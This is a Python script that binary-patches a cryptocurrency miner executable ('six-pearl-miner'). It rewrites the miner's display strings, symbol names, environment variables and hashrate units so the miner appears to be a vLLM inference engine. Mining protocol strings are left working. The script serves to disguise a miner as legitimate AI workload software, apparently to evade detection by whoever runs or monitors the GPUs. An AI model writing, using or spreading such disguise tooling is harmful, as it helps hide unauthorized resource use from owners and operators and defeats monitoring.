"""Patch six-pearl-miner display strings for obfuscation.
MUST NOT patch protocol strings (mining.subscribe, mining.authorize, etc.)"""
import sys

infile = sys.argv[1] if len(sys.argv) > 1 else r"six-pearl-local\six-pearl\six-pearl-miner"
outfile = sys.argv[2] if len(sys.argv) > 2 else r"six-pearl-local\six-pearl\six-pearl-miner-patched"

with open(infile, "rb") as f:
    data = f.read()

def _pad(old, new):
    """Pad new to same length as old, or truncate."""
    if len(new) >= len(old):
        return new[:len(old)]
    return new + b" " * (len(old) - len(new))

patches = [
    # Display names
    (b"six-pearl-miner/0.1.1", b"vllm-inference/1.0.0"),
    (b"six-pearl-miner",       b"vllm-inference-0"),
    # Share status messages
    (b"Share accepted (queued",      b"Task completed (queue"),
    (b"Share rejected (benign):",    b"Task skipped (minor) :"),
    (b"Share rejected:",             b"Task failed:  "),
    (b"Submitting share: id=",       b"Processing batch: id"),
    (b"authorize rejected:",         b"auth declined:     "),
    # Status strings
    (b"submit network error(s)",     b"transport err(s)      "),
    (b"(submitted: ",                b"(processed: "),
    (b"!Difficulty is too easy: hardness=", b"!Threshold too low: value=        "),
    (b"All miners stopped cleanly.", b"All workers stopped clean."),
    (b"pool connect/authorize failed:", b"endpoint auth failed:       "),
    (b"Pool: ",                      b"Node: "),
    # Rust symbol prefix
    (b"six_pearl_miner",             b"inference_engine"),
    # Env vars
    (b"POOL_REPORT_HASHRATE",        b"POOL_REPORT_METRIC  "),
    (b"report-hashrate",             b"report-metric  "),
    # Misc
    (b"All miners stopped",          b"All workers stopped "),
    (b"GPU miner lane",              b"GPU compute lane "),
    (b"Accepted",                    b"Confirmed"),
    (b"Rejected",                    b"Declined"),
    (b"6block_nI3E",                 b"vllm_nI3E   "),
    (b"0.1.1",                       b"1.0.0"),
    (b"six-pearl ",                  b"vllm-eng   "),
    (b"pearl_hopper_6block",         b"infer_hopper_vllm  "),
    # Mining keywords (must patch!)
    (b" Mining ", b" Processing "),
    (b"Mining:", b"Process: "),
    (b"Mining on", b"Start on "),
    (b" TH/s", b" u/s  "),
    (b" GH/s", b" u/s  "),
    (b" H/s", b" u/s "),
    (b"gpu0=", b"dev0="),
    (b"gpu1=", b"dev1="),
    (b"New job:", b"New task:"),
    (b"share_nbits", b"task_nbits"),
    (b"share id=", b"task  id="),
]

count = 0
for old, new_raw in patches:
    new = _pad(old, new_raw)
    n = data.count(old)
    if n > 0:
        data = data.replace(old, new)
        count += n
        print(f"  PATCHED {n}x: '{old.decode()}' -> '{new.decode()}'")
    else:
        print(f"  NOT FOUND: '{old.decode()}'")

with open(outfile, "wb") as f:
    f.write(data)

print(f"\nTotal patches: {count}")
print(f"Output: {outfile} ({len(data)} bytes)")

# Verify ELF header intact
assert data[:4] == b'\x7fELF', "ELF header corrupted!"
print("ELF header: OK")
